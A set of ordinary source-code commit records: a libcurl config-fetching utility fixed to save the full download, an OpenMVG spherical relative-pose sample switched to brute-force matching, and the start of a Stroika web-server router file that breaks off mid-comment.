downloaded_data->text[data_size] = 0;\n\n return data_size;\n}\n\nvoid print_help()\n{\n printf(\"This utility accepts arguments in the following format:\\n\");\n printf(\"config_fetch http:\/\/url.to.config.file [path_to_cache_file]\\n\");\n printf(\"config_fetch -help\");\n}\n\nbool print_cached_file(const char *cached_path)\n{\n FILE *fp;\n int character;\n\n fp = safe_fopen_no_create_follow(cached_path, \"rb\");\n\n if(!fp)\n {\n printf(\"Error: Failed to open cache file for reading.\\n\");\n return false;\n }\n\n while((character = getc(fp)) != EOF)\n {\n putchar(character);\n }\n\n fclose(fp);\n\n return true;\n}\n\nint main(int argc, char **argv) {\n CURL *handle = NULL;\n int rval = -1;\n const char *cache_path;\n Downloaded_Data downloaded_data;\n FILE *fp = NULL;\n long http_code;\n int cb = 0;\n\n downloaded_data.text = NULL;\n downloaded_data.size = 0;\n\n if(argc < 2 || argc > 3)\n {\n print_help();\n return -1;\n }\n\n if(strncmp(argv[1], \"-h\", 2) == 0)\n {\n print_help();\n return 0;\n }\n\n if(argc == 3)\n cache_path = argv[2];\n else\n cache_path = \"config_cache.local\";\n\n#ifndef WIN32\n\tcurl_global_init(CURL_GLOBAL_NOTHING);\n#endif\n handle = curl_easy_init();\n\n if(!handle)\n {\n fprintf(stderr, \"Error attempting to initialize CURL library.\\n\");\n return -1;\n }\n\n curl_easy_setopt(handle, CURLOPT_URL, argv[1]);\n curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, WriteCallback);\n curl_easy_setopt(handle, CURLOPT_WRITEDATA, &downloaded_data);\n curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, -1);\n\n rval = curl_easy_perform(handle);\n if(rval || !downloaded_data.text)\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n rval = curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_code);\n if(rval)\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n if(http_code != 200)\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n cb = fwrite(downloaded_data.text, 1, downloaded_data.size, stdout);\n if (cb != downloaded_data.size) {\n fprintf(stderr, \"error: could not write entire config to stdout\\n\");\n }\n\n fp = safe_fcreate_replace_if_exists(cache_path, \"wb\");\n if(!fp) goto Cleanup;\n\n cb = fwrite(downloaded_data.text, 1, downloaded_data.size, fp);\n if (cb != downloaded_data.size) {\n fprintf(stderr, \"error: could not write entire config to cache file!\\n\");\n }\n\n fclose(fp);\n\nCleanup:\n if(downloaded_data.text) free(downloaded_data.text);\n curl_easy_cleanup(handle);\n curl_global_cleanup();\n\n\treturn rval;\t\/\/ 0 on success\n}\n<commit_msg>fix config_fetch so that doesn't just write the last buffer to disk\/stdout #4018 ===VersionHistory:None== bug never shipped<commit_after>#ifdef WIN32\n#include <windows.h>\n#define CURL_STATICLIB \/\/ this has to match the way the curl library was built.\n#else\n#include <stdlib.h>\n#endif\n\n#include <curl\/curl.h>\n#include <string.h>\n#include <string>\n\n#include \"safe_fopen.h\"\n\nstatic size_t WriteCallback(char *contents, size_t size, size_t nmemb, void *userdata)\n{\n\tstd::string * ptext = (std::string *)userdata;\n\tsize_t data_size = size * nmemb;\n\tptext->append(contents, size * nmemb);\n\treturn data_size;\n}\n\nvoid print_help()\n{\n printf(\"This utility accepts arguments in the following format:\\n\");\n printf(\"config_fetch http:\/\/url.to.config.file [path_to_cache_file]\\n\");\n printf(\"config_fetch -help\");\n}\n\nbool print_cached_file(const char *cached_path)\n{\n FILE *fp;\n int character;\n\n fp = safe_fopen_no_create_follow(cached_path, \"rb\");\n if(!fp)\n {\n printf(\"Error: Failed to open cache file for reading.\\n\");\n return false;\n }\n\n while((character = getc(fp)) != EOF)\n {\n putchar(character);\n }\n\n fclose(fp);\n\n return true;\n}\n\nint main(int argc, char **argv) {\n CURL *handle = NULL;\n int rval = -1;\n const char *cache_path;\n std::string downloaded_data;\n FILE *fp = NULL;\n long http_code;\n int cb = 0;\n\n if(argc < 2 || argc > 3)\n {\n print_help();\n return -1;\n }\n\n if(strncmp(argv[1], \"-h\", 2) == 0)\n {\n print_help();\n return 0;\n }\n\n if(argc == 3)\n cache_path = argv[2];\n else\n cache_path = \"config_cache.local\";\n\n#ifndef WIN32\n\tcurl_global_init(CURL_GLOBAL_NOTHING);\n#endif\n handle = curl_easy_init();\n if(!handle)\n {\n fprintf(stderr, \"Error attempting to initialize CURL library.\\n\");\n return -1;\n }\n\n curl_easy_setopt(handle, CURLOPT_URL, argv[1]);\n curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, WriteCallback);\n curl_easy_setopt(handle, CURLOPT_WRITEDATA, &downloaded_data);\n curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, -1);\n\n rval = curl_easy_perform(handle);\n if(rval || downloaded_data.empty())\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n rval = curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_code);\n if(rval)\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n if(http_code != 200)\n {\n print_cached_file(cache_path);\n goto Cleanup;\n }\n\n cb = fwrite(downloaded_data.c_str(), 1, downloaded_data.size(), stdout);\n if (cb != (int)downloaded_data.size())\n {\n fprintf(stderr, \"error: could not write entire config to stdout\\n\");\n }\n\n fp = safe_fcreate_replace_if_exists(cache_path, \"wb\");\n if(!fp) goto Cleanup;\n\n cb = fwrite(downloaded_data.c_str(), 1, downloaded_data.size(), fp);\n if (cb != (int)downloaded_data.size())\n {\n fprintf(stderr, \"error: could not write entire config to cache file!\\n\");\n }\n\n fclose(fp);\n\nCleanup:\n \/\/ if(downloaded_data.text) free(downloaded_data.text);\n curl_easy_cleanup(handle);\n curl_global_cleanup();\n\n\treturn rval;\t\/\/ 0 on success\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of OpenMVG, an Open Multiple View Geometry C++ library.\n\n\/\/ Copyright (c) 2012, 2017 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n\n#include \"openMVG\/cameras\/Camera_Spherical.hpp\"\n#include \"openMVG\/features\/feature.hpp\"\n#include \"openMVG\/features\/sift\/SIFT_Anatomy_Image_Describer.hpp\"\n#include \"openMVG\/features\/svg_features.hpp\"\n#include \"openMVG\/image\/image_io.hpp\"\n#include \"openMVG\/image\/image_concat.hpp\"\n#include \"openMVG\/matching\/regions_matcher.hpp\"\n#include \"openMVG\/matching\/svg_matches.hpp\"\n#include \"openMVG\/multiview\/conditioning.hpp\"\n#include \"openMVG\/multiview\/essential.hpp\"\n#include \"openMVG\/multiview\/triangulation.hpp\"\n#include \"openMVG\/multiview\/solver_essential_spherical.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansac.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansacKernelAdaptator.hpp\"\n#include \"openMVG\/sfm\/pipelines\/sfm_robust_model_estimation.hpp\"\n#include \"openMVG\/sfm\/sfm_data.hpp\"\n#include \"openMVG\/sfm\/sfm_data_BA_ceres.hpp\"\n#include \"openMVG\/sfm\/sfm_data_io.hpp\"\n\n#include \"third_party\/cmdLine\/cmdLine.h\"\n#include \"third_party\/stlplus3\/filesystemSimplified\/file_system.hpp\"\n\n#include <iostream>\n#include <string>\n\nusing namespace openMVG;\nusing namespace openMVG::cameras;\nusing namespace openMVG::geometry;\nusing namespace openMVG::image;\nusing namespace openMVG::matching;\nusing namespace openMVG::robust;\nusing namespace openMVG::sfm;\nusing namespace std;\n\nint main(int argc, char **argv) {\n\n CmdLine cmd;\n\n string jpg_filenameL, jpg_filenameR;\n\n cmd.add( make_option('a', jpg_filenameL, \"input_a\") );\n cmd.add( make_option('b', jpg_filenameR, \"input_b\") );\n\n std::cout << \"Compute the relative pose between two spherical image.\"\n << \"\\nUse an Acontrario robust estimation based on angular errors.\" << std::endl;\n\n try\n {\n if (argc == 1)\n {\n const std::string sInputDir = std::string(THIS_SOURCE_DIR);\n jpg_filenameL = sInputDir + \"\/SponzaLion000.jpg\";\n jpg_filenameR = sInputDir + \"\/SponzaLion001.jpg\";\n }\n else\n {\n cmd.process(argc, argv);\n }\n } catch (const std::string& s)\n {\n std::cout << \"Invalid usage of arguments -a IMGA -b IMGB\" << std::endl;\n return EXIT_FAILURE;\n }\n\n Image<unsigned char> imageL, imageR;\n ReadImage(jpg_filenameL.c_str(), &imageL);\n ReadImage(jpg_filenameR.c_str(), &imageR);\n\n \/\/ Setup 2 camera intrinsics\n cameras::Intrinsic_Spherical\n cameraL(imageL.Width(), imageL.Height()),\n cameraR(imageR.Width(), imageR.Height());\n\n \/\/--\n \/\/ Detect regions thanks to an image_describer\n \/\/--\n using namespace openMVG::features;\n std::unique_ptr<Image_describer> image_describer\n (new SIFT_Anatomy_Image_describer(SIFT_Anatomy_Image_describer::Params(-1)));\n std::map<IndexT, std::unique_ptr<features::Regions> > regions_perImage;\n image_describer->Describe(imageL, regions_perImage[0]);\n image_describer->Describe(imageR, regions_perImage[1]);\n\n const SIFT_Regions\n *regionsL = dynamic_cast<const SIFT_Regions*>(regions_perImage.at(0).get()),\n *regionsR = dynamic_cast<const SIFT_Regions*>(regions_perImage.at(1).get());\n\n const PointFeatures\n featsL = regions_perImage.at(0)->GetRegionsPositions(),\n featsR = regions_perImage.at(1)->GetRegionsPositions();\n\n std::cout\n << \"Left image SIFT count: \" << featsL.size() << std::endl\n << \"Right image SIFT count: \"<< featsR.size() << std::endl;\n\n \/\/ Show both images side by side\n {\n Image<unsigned char> concat;\n ConcatH(imageL, imageR, concat);\n string out_filename = \"01_concat.jpg\";\n WriteImage(out_filename.c_str(), concat);\n }\n\n \/\/- Draw features on the two image (side by side)\n {\n Features2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n \"02_features.svg\"\n );\n }\n\n std::vector<IndMatch> vec_PutativeMatches;\n \/\/-- Perform matching -> find Nearest neighbor, filtered with Distance ratio\n {\n \/\/ Find corresponding points\n matching::DistanceRatioMatch(\n 0.8, matching::ANN_L2,\n *regions_perImage.at(0).get(),\n *regions_perImage.at(1).get(),\n vec_PutativeMatches);\n\n IndMatchDecorator<float> matchDeduplicator(vec_PutativeMatches, featsL, featsR);\n matchDeduplicator.getDeduplicated(vec_PutativeMatches);\n\n \/\/ Draw correspondences after Nearest Neighbor ratio filter\n const bool bVertical = true;\n Matches2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n vec_PutativeMatches,\n \"03_Matches.svg\",\n bVertical\n );\n }\n\n \/\/ Essential geometry filtering of putative matches\n {\n \/\/A. get back interest point and send it to the robust estimation framework\n Mat\n xL(2, vec_PutativeMatches.size()),\n xR(2, vec_PutativeMatches.size());\n\n for (size_t k = 0; k < vec_PutativeMatches.size(); ++k) {\n const PointFeature & imaL = featsL[vec_PutativeMatches[k].i_];\n const PointFeature & imaR = featsR[vec_PutativeMatches[k].j_];\n xL.col(k) = imaL.coords().cast<double>();\n xR.col(k) = imaR.coords().cast<double>();\n }\n\n \/\/-- Convert planar to spherical coordinates\n Mat xL_spherical(3,vec_PutativeMatches.size()), xR_spherical(3,vec_PutativeMatches.size());\n for (size_t iCol = 0; iCol < vec_PutativeMatches.size(); ++iCol)\n {\n xL_spherical.col(iCol) = cameraL(xL.col(iCol));\n xR_spherical.col(iCol) = cameraR(xR.col(iCol));\n }\n\n \/\/-- Essential matrix robust estimation from spherical bearing vectors\n {\n std::vector<uint32_t> vec_inliers;\n\n \/\/ Define the AContrario angular error adaptor\n using KernelType =\n openMVG::robust::ACKernelAdaptor_AngularRadianError<\n \/\/ Use the 8 point solver in order to estimate E\n openMVG::spherical_cam::EightPointRelativePoseSolver,\n openMVG::spherical_cam::AngularError,\n Mat3>;\n\n KernelType kernel(xL_spherical, xR_spherical);\n\n \/\/ Robust estimation of the Essential matrix and it's precision\n Mat3 E;\n const double precision = std::numeric_limits<double>::infinity();\n const std::pair<double,double> ACRansacOut =\n ACRANSAC(kernel, vec_inliers, 1024, &E, precision, true);\n const double & threshold = ACRansacOut.first;\n\n std::cout << \"\\n Angular threshold found: \" << R2D(threshold) << \"(Degree)\"<<std::endl;\n std::cout << \"\\n #Putatives\/#inliers : \" << xL_spherical.cols() << \"\/\" << vec_inliers.size() << \"\\n\" << std::endl;\n\n const bool bVertical = true;\n InlierMatches2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n vec_PutativeMatches,\n vec_inliers,\n \"04_inliers.svg\",\n bVertical\n );\n\n if (vec_inliers.size() > 60) \/\/ 60 is used to filter solution with few common geometric matches (unstable solution)\n {\n \/\/ Decompose the essential matrix and keep the best solution (if any)\n Mat3 R;\n Vec3 t;\n std::vector<uint32_t> inliers_indexes;\n std::vector<Vec3> inliers_X;\n if (openMVG::sfm::estimate_Rt_fromE(xL_spherical, xR_spherical, E, vec_inliers,\n &R, &t, &inliers_indexes, &inliers_X))\n {\n \/\/ Lets make a BA on the scene to check if it relative pose and structure can be refined\n\n \/\/ Setup a SfM scene with two view corresponding the pictures\n SfM_Data tiny_scene;\n tiny_scene.views[0].reset(new View(\"\", 0, 0, 0, imageL.Width(), imageL.Height()));\n tiny_scene.views[1].reset(new View(\"\", 1, 0, 1, imageR.Width(), imageR.Height()));\n \/\/ Setup shared intrinsics camera data\n tiny_scene.intrinsics[0].reset(new Intrinsic_Spherical(imageR.Width(), imageR.Height()));\n\n \/\/ Setup poses camera data\n const Pose3 pose0 = tiny_scene.poses[tiny_scene.views[0]->id_pose] = Pose3(Mat3::Identity(), Vec3::Zero());\n const Pose3 pose1 = tiny_scene.poses[tiny_scene.views[1]->id_pose] = Pose3(R, - R.transpose() * t);\n\n \/\/ Add a new landmark (3D point with its image observations)\n for (int i = 0; i < inliers_indexes.size(); ++i)\n {\n Landmark landmark;\n landmark.X = inliers_X[i];\n landmark.obs[tiny_scene.views[0]->id_view] = Observation(xL.col(inliers_indexes[i]), 0);\n landmark.obs[tiny_scene.views[1]->id_view] = Observation(xR.col(inliers_indexes[i]), 0);\n tiny_scene.structure.insert(std::make_pair(tiny_scene.structure.size(), landmark));\n }\n\n Save(tiny_scene, \"EssentialGeometry_start.ply\", ESfM_Data(ALL));\n\n std::vector<double> residuals;\n \/\/ Perform Bundle Adjustment of the scene\n Bundle_Adjustment_Ceres bundle_adjustment_obj;\n if (bundle_adjustment_obj.Adjust(tiny_scene,\n Optimize_Options(\n Intrinsic_Parameter_Type::NONE,\n Extrinsic_Parameter_Type::ADJUST_ALL,\n Structure_Parameter_Type::ADJUST_ALL)))\n {\n \/\/ Compute reprojection error\n const Pose3 pose0 = tiny_scene.poses[tiny_scene.views[0]->id_pose];\n const Pose3 pose1 = tiny_scene.poses[tiny_scene.views[1]->id_pose];\n\n for (Landmarks::const_iterator iter = tiny_scene.GetLandmarks().begin();\n iter != tiny_scene.GetLandmarks().end(); ++iter)\n {\n const IndexT trackId = iter->first;\n const Landmark & landmark = iter->second;\n const Observations & obs = landmark.obs;\n Observations::const_iterator iterObs_xI = obs.find(tiny_scene.views[0]->id_view);\n Observations::const_iterator iterObs_xJ = obs.find(tiny_scene.views[1]->id_view);\n\n const Observation & ob_x0 = iterObs_xI->second;\n const Observation & ob_x1 = iterObs_xJ->second;\n\n const Vec2 residual_I = cameraL.residual(pose0, landmark.X, ob_x0.x);\n const Vec2 residual_J = cameraR.residual(pose1, landmark.X, ob_x1.x);\n residuals.push_back(residual_I.norm());\n residuals.push_back(residual_J.norm());\n }\n std::cout << \"Residual statistics (pixels):\" << std::endl;\n minMaxMeanMedian<double>( residuals.begin(), residuals.end());\n\n Save(tiny_scene, \"EssentialGeometry_refined.ply\", ESfM_Data(ALL));\n }\n }\n }\n }\n }\n return EXIT_SUCCESS;\n}\n<commit_msg>Enhance reproducibility.<commit_after>\/\/ This file is part of OpenMVG, an Open Multiple View Geometry C++ library.\n\n\/\/ Copyright (c) 2012, 2017 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n\n#include \"openMVG\/cameras\/Camera_Spherical.hpp\"\n#include \"openMVG\/features\/feature.hpp\"\n#include \"openMVG\/features\/sift\/SIFT_Anatomy_Image_Describer.hpp\"\n#include \"openMVG\/features\/svg_features.hpp\"\n#include \"openMVG\/image\/image_io.hpp\"\n#include \"openMVG\/image\/image_concat.hpp\"\n#include \"openMVG\/matching\/regions_matcher.hpp\"\n#include \"openMVG\/matching\/svg_matches.hpp\"\n#include \"openMVG\/multiview\/conditioning.hpp\"\n#include \"openMVG\/multiview\/essential.hpp\"\n#include \"openMVG\/multiview\/triangulation.hpp\"\n#include \"openMVG\/multiview\/solver_essential_spherical.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansac.hpp\"\n#include \"openMVG\/robust_estimation\/robust_estimator_ACRansacKernelAdaptator.hpp\"\n#include \"openMVG\/sfm\/pipelines\/sfm_robust_model_estimation.hpp\"\n#include \"openMVG\/sfm\/sfm_data.hpp\"\n#include \"openMVG\/sfm\/sfm_data_BA_ceres.hpp\"\n#include \"openMVG\/sfm\/sfm_data_io.hpp\"\n\n#include \"third_party\/cmdLine\/cmdLine.h\"\n#include \"third_party\/stlplus3\/filesystemSimplified\/file_system.hpp\"\n\n#include <iostream>\n#include <string>\n\nusing namespace openMVG;\nusing namespace openMVG::cameras;\nusing namespace openMVG::geometry;\nusing namespace openMVG::image;\nusing namespace openMVG::matching;\nusing namespace openMVG::robust;\nusing namespace openMVG::sfm;\nusing namespace std;\n\nint main(int argc, char **argv) {\n\n CmdLine cmd;\n\n string jpg_filenameL, jpg_filenameR;\n\n cmd.add( make_option('a', jpg_filenameL, \"input_a\") );\n cmd.add( make_option('b', jpg_filenameR, \"input_b\") );\n\n std::cout << \"Compute the relative pose between two spherical image.\"\n << \"\\nUse an Acontrario robust estimation based on angular errors.\" << std::endl;\n\n try\n {\n if (argc == 1)\n {\n const std::string sInputDir = std::string(THIS_SOURCE_DIR);\n jpg_filenameL = sInputDir + \"\/SponzaLion000.jpg\";\n jpg_filenameR = sInputDir + \"\/SponzaLion001.jpg\";\n }\n else\n {\n cmd.process(argc, argv);\n }\n } catch (const std::string& s)\n {\n std::cout << \"Invalid usage of arguments -a IMGA -b IMGB\" << std::endl;\n return EXIT_FAILURE;\n }\n\n Image<unsigned char> imageL, imageR;\n ReadImage(jpg_filenameL.c_str(), &imageL);\n ReadImage(jpg_filenameR.c_str(), &imageR);\n\n \/\/ Setup 2 camera intrinsics\n cameras::Intrinsic_Spherical\n cameraL(imageL.Width(), imageL.Height()),\n cameraR(imageR.Width(), imageR.Height());\n\n \/\/--\n \/\/ Detect regions thanks to an image_describer\n \/\/--\n using namespace openMVG::features;\n std::unique_ptr<Image_describer> image_describer\n (new SIFT_Anatomy_Image_describer(SIFT_Anatomy_Image_describer::Params(-1)));\n std::map<IndexT, std::unique_ptr<features::Regions> > regions_perImage;\n image_describer->Describe(imageL, regions_perImage[0]);\n image_describer->Describe(imageR, regions_perImage[1]);\n\n const SIFT_Regions\n *regionsL = dynamic_cast<const SIFT_Regions*>(regions_perImage.at(0).get()),\n *regionsR = dynamic_cast<const SIFT_Regions*>(regions_perImage.at(1).get());\n\n const PointFeatures\n featsL = regions_perImage.at(0)->GetRegionsPositions(),\n featsR = regions_perImage.at(1)->GetRegionsPositions();\n\n std::cout\n << \"Left image SIFT count: \" << featsL.size() << std::endl\n << \"Right image SIFT count: \"<< featsR.size() << std::endl;\n\n \/\/ Show both images side by side\n {\n Image<unsigned char> concat;\n ConcatH(imageL, imageR, concat);\n string out_filename = \"01_concat.jpg\";\n WriteImage(out_filename.c_str(), concat);\n }\n\n \/\/- Draw features on the two image (side by side)\n {\n Features2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n \"02_features.svg\"\n );\n }\n\n std::vector<IndMatch> vec_PutativeMatches;\n \/\/-- Perform matching -> find Nearest neighbor, filtered with Distance ratio\n {\n \/\/ Find corresponding points\n matching::DistanceRatioMatch(\n 0.8, matching::BRUTE_FORCE_L2,\n *regions_perImage.at(0).get(),\n *regions_perImage.at(1).get(),\n vec_PutativeMatches);\n\n IndMatchDecorator<float> matchDeduplicator(vec_PutativeMatches, featsL, featsR);\n matchDeduplicator.getDeduplicated(vec_PutativeMatches);\n\n \/\/ Draw correspondences after Nearest Neighbor ratio filter\n const bool bVertical = true;\n Matches2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n vec_PutativeMatches,\n \"03_Matches.svg\",\n bVertical\n );\n }\n\n \/\/ Essential geometry filtering of putative matches\n {\n \/\/A. get back interest point and send it to the robust estimation framework\n Mat\n xL(2, vec_PutativeMatches.size()),\n xR(2, vec_PutativeMatches.size());\n\n for (size_t k = 0; k < vec_PutativeMatches.size(); ++k) {\n const PointFeature & imaL = featsL[vec_PutativeMatches[k].i_];\n const PointFeature & imaR = featsR[vec_PutativeMatches[k].j_];\n xL.col(k) = imaL.coords().cast<double>();\n xR.col(k) = imaR.coords().cast<double>();\n }\n\n \/\/-- Convert planar to spherical coordinates\n Mat xL_spherical(3,vec_PutativeMatches.size()), xR_spherical(3,vec_PutativeMatches.size());\n for (size_t iCol = 0; iCol < vec_PutativeMatches.size(); ++iCol)\n {\n xL_spherical.col(iCol) = cameraL(xL.col(iCol));\n xR_spherical.col(iCol) = cameraR(xR.col(iCol));\n }\n\n \/\/-- Essential matrix robust estimation from spherical bearing vectors\n {\n std::vector<uint32_t> vec_inliers;\n\n \/\/ Define the AContrario angular error adaptor\n using KernelType =\n openMVG::robust::ACKernelAdaptor_AngularRadianError<\n \/\/ Use the 8 point solver in order to estimate E\n openMVG::spherical_cam::EightPointRelativePoseSolver,\n openMVG::spherical_cam::AngularError,\n Mat3>;\n\n KernelType kernel(xL_spherical, xR_spherical);\n\n \/\/ Robust estimation of the Essential matrix and it's precision\n Mat3 E;\n const double precision = std::numeric_limits<double>::infinity();\n const std::pair<double,double> ACRansacOut =\n ACRANSAC(kernel, vec_inliers, 1024, &E, precision, true);\n const double & threshold = ACRansacOut.first;\n\n std::cout << \"\\n Angular threshold found: \" << R2D(threshold) << \"(Degree)\"<<std::endl;\n std::cout << \"\\n #Putatives\/#inliers : \" << xL_spherical.cols() << \"\/\" << vec_inliers.size() << \"\\n\" << std::endl;\n\n const bool bVertical = true;\n InlierMatches2SVG\n (\n jpg_filenameL,\n {imageL.Width(), imageL.Height()},\n regionsL->GetRegionsPositions(),\n jpg_filenameR,\n {imageR.Width(), imageR.Height()},\n regionsR->GetRegionsPositions(),\n vec_PutativeMatches,\n vec_inliers,\n \"04_inliers.svg\",\n bVertical\n );\n\n if (vec_inliers.size() > 60) \/\/ 60 is used to filter solution with few common geometric matches (unstable solution)\n {\n \/\/ Decompose the essential matrix and keep the best solution (if any)\n Mat3 R;\n Vec3 t;\n std::vector<uint32_t> inliers_indexes;\n std::vector<Vec3> inliers_X;\n if (openMVG::sfm::estimate_Rt_fromE(xL_spherical, xR_spherical, E, vec_inliers,\n &R, &t, &inliers_indexes, &inliers_X))\n {\n \/\/ Lets make a BA on the scene to check if it relative pose and structure can be refined\n\n \/\/ Setup a SfM scene with two view corresponding the pictures\n SfM_Data tiny_scene;\n tiny_scene.views[0].reset(new View(\"\", 0, 0, 0, imageL.Width(), imageL.Height()));\n tiny_scene.views[1].reset(new View(\"\", 1, 0, 1, imageR.Width(), imageR.Height()));\n \/\/ Setup shared intrinsics camera data\n tiny_scene.intrinsics[0].reset(new Intrinsic_Spherical(imageR.Width(), imageR.Height()));\n\n \/\/ Setup poses camera data\n const Pose3 pose0 = tiny_scene.poses[tiny_scene.views[0]->id_pose] = Pose3(Mat3::Identity(), Vec3::Zero());\n const Pose3 pose1 = tiny_scene.poses[tiny_scene.views[1]->id_pose] = Pose3(R, - R.transpose() * t);\n\n \/\/ Add a new landmark (3D point with its image observations)\n for (int i = 0; i < inliers_indexes.size(); ++i)\n {\n Landmark landmark;\n landmark.X = inliers_X[i];\n landmark.obs[tiny_scene.views[0]->id_view] = Observation(xL.col(inliers_indexes[i]), 0);\n landmark.obs[tiny_scene.views[1]->id_view] = Observation(xR.col(inliers_indexes[i]), 0);\n tiny_scene.structure.insert(std::make_pair(tiny_scene.structure.size(), landmark));\n }\n\n Save(tiny_scene, \"EssentialGeometry_start.ply\", ESfM_Data(ALL));\n\n std::vector<double> residuals;\n \/\/ Perform Bundle Adjustment of the scene\n Bundle_Adjustment_Ceres bundle_adjustment_obj;\n if (bundle_adjustment_obj.Adjust(tiny_scene,\n Optimize_Options(\n Intrinsic_Parameter_Type::NONE,\n Extrinsic_Parameter_Type::ADJUST_ALL,\n Structure_Parameter_Type::ADJUST_ALL)))\n {\n \/\/ Compute reprojection error\n const Pose3 pose0 = tiny_scene.poses[tiny_scene.views[0]->id_pose];\n const Pose3 pose1 = tiny_scene.poses[tiny_scene.views[1]->id_pose];\n\n for (Landmarks::const_iterator iter = tiny_scene.GetLandmarks().begin();\n iter != tiny_scene.GetLandmarks().end(); ++iter)\n {\n const IndexT trackId = iter->first;\n const Landmark & landmark = iter->second;\n const Observations & obs = landmark.obs;\n Observations::const_iterator iterObs_xI = obs.find(tiny_scene.views[0]->id_view);\n Observations::const_iterator iterObs_xJ = obs.find(tiny_scene.views[1]->id_view);\n\n const Observation & ob_x0 = iterObs_xI->second;\n const Observation & ob_x1 = iterObs_xJ->second;\n\n const Vec2 residual_I = cameraL.residual(pose0, landmark.X, ob_x0.x);\n const Vec2 residual_J = cameraR.residual(pose1, landmark.X, ob_x1.x);\n residuals.push_back(residual_I.norm());\n residuals.push_back(residual_J.norm());\n }\n std::cout << \"Residual statistics (pixels):\" << std::endl;\n minMaxMeanMedian<double>( residuals.begin(), residuals.end());\n\n Save(tiny_scene, \"EssentialGeometry_refined.ply\", ESfM_Data(ALL));\n }\n }\n }\n }\n }\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2019. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Foundation\/Characters\/String_Constant.h\"\n#include \"..\/..\/Foundation\/Characters\/ToString.h\"\n#include \"..\/..\/Foundation\/Execution\/Exceptions.h\"\n#include \"..\/..\/Foundation\/IO\/Network\/HTTP\/ClientErrorException.h\"\n#include \"..\/..\/Foundation\/IO\/Network\/HTTP\/Headers.h\"\n\n#include \"Router.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::Memory;\n\nusing namespace Stroika::Frameworks;\nusing namespace Stroika::Frameworks::WebServer;\n\nusing IO::Network::HTTP::ClientErrorException;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\/*\n ********************************************************************************\n ************************* WebServer::Router::Rep_ ******************************\n ********************************************************************************\n *\/\n\nstruct Router::Rep_ : Interceptor::_IRep {\n Rep_ (const Sequence<Route>& routes)\n : fRoutes_ (routes)\n {\n }\n virtual void HandleFault ([[maybe_unused]] Message* m, [[maybe_unused]] const exception_ptr& e) noexcept override\n {\n }\n virtual void HandleMessage (Message* m) override\n {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n Debug::TraceContextBumper ctx{L\"Router::Rep_::HandleMessage\", L\"(...method=%s,url=%s)\", m->GetRequestHTTPMethod ().c_str (), Characters::ToString (m->GetRequestURL ()).c_str ()};\n#endif\n Sequence<String> matches;\n optional<RequestHandler> handler = Lookup_ (*m->PeekRequest (), &matches);\n if (handler) {\n (*handler) (m, matches);\n }\n else {\n if (optional<Set<String>> o = GetAllowedMethodsForRequest_ (*m->PeekRequest ())) {\n \/\/ From 10.4.6 405 Method Not Allowed\n \/\/ The method specified in the Request-Line is not allowed for the resource identified by the Request-URI.\n \/\/ The response MUST include an Allow header containing a list of valid methods for the requested resource.\n Assert (not o->empty ());\n StringBuilder res;\n o->Apply ([&res] (const String& i) { if (not res.empty ()) { res += L\", \"; } res += i; });\n m->PeekResponse ()->AddHeader (IO::Network::HTTP::HeaderName::kAllow, res.str ());\n Execution::Throw (ClientErrorException (IO::Network::HTTP::StatusCodes::kMethodNotAllowed));\n }\n else {\n DbgTrace (L\"Router 404: (...url=%s)\", Characters::ToString (m->GetRequestURL ()).c_str ());\n Execution::Throw (ClientErrorException (IO::Network::HTTP::StatusCodes::kNotFound));\n }\n }\n }\n optional<RequestHandler> Lookup_ (const Request& request, Sequence<String>* matches) const\n {\n String method = request.GetHTTPMethod ();\n URI url = request.GetURL ();\n\n String hostRelPath;\n try {\n hostRelPath = url.GetAbsPath<String> ().SubString (1); \/\/ According to 